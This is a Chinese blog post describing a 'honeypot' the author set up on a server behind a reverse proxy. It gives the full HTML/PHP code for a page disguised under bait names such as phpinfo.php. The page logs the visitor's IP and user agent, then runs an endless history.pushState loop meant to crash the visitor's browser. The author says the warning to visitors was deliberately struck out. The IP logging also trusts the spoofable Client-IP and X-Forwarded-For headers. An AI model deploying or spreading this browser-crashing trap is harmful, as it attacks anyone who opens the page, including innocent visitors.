嗯今天 11.11。不想吃土刷淘宝,不想写代码。
需求
有一台主机 A,一台虚拟机 B。域名解析到了 A 上,A 反向代理到 B 上。这样,B 的 Apache Log 里的 “源 IP” 显示的全部都是 A 的,特别难于追查。
所以,就想写一个蜜罐,记录下真实的 IP 地址。
思路
恶作剧
首先想到的并不是蜜罐,而只是想做一个恶作剧:你访问,我就让你崩溃。
前一阵子有个仅仅 12 行的炸弹代码在网上疯传:
<html>
<body>
<script>
var total="";
for (var i=0;true;i++)
{
total= total+i.toString ();
history.pushState (0,0,total);
}
</script>
</body>
</html>
由于网站访问人群比较特殊,为了防止有人误触炸弹,我就在外面设置了个定时器,延迟几秒再触发。
好了,把它改个比较具有诱惑力的名字(例如,phpinfo.php
、tz.php
),开始钓鱼。
真正有点用
等等,上面的扩展名是什么?PHP?对啊,有 PHP 脚本,我就可以顺带记录下来访问者的 IP 了。
于是,我们的程序变成了这样:
<html>
<head>
<title>Hello World!</title>
</head>
<?php
function getIp(){
$ip='Unknow_IP';
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip;
}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip;
}else{
return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip;
}
}
function is_ip($str){
$ip=explode('.',$str);
for($i=0;$i<count($ip);$i++){
if($ip[$i]>255){
return false;
}
}
return preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/',$str);
}
$myfile = fopen(dirname(__FILE__)."/ScannerLog.log", "a+");
$text = "[".strftime("%Y-%m-%d %X")."][".getIP()."]".$_SERVER['HTTP_USER_AGENT'] ."\n";
fwrite($myfile, $text);
fclose($myfile);
?>
<body>
<script>
setInterval(function (){
var total="";
for (var i=0;true;i++)
{
total= total+i.toString ();
history.pushState (0,0,total);
}
},50);
</script>
<h1>:)</h1>
<p>Everything is OK.</p>
<p>WARNING: Please Close Your Browser NOW!</p>
</body>
</html>
~~ 同样的,你可以看到,为了防止有人误触,我特意加上了警告信息。只要能及时关掉浏览器,还是可以保平安的。经测试,代码运行前几秒,浏览器还是有反应的;但是如果你一个字一个字把它读完…… 估计就离 GG 不远了。~~
我没那么好脾气……
成品
上面的代码比较长,copy 多份的话维护起来比较麻烦。于是在它外面加了一层包裹:
require_once(dirname(__FILE__)."/.honey/boomb.php");
嗯,这下只需要维护一次代码就好了。
后记
大家都以为网站里面有什么好东西,其实,除了文章,什么都没有。
做黑产的也是恶心,为了收录不惜一切。这波人…… 只能使用马克思主义光环来教育你们了……
发表回复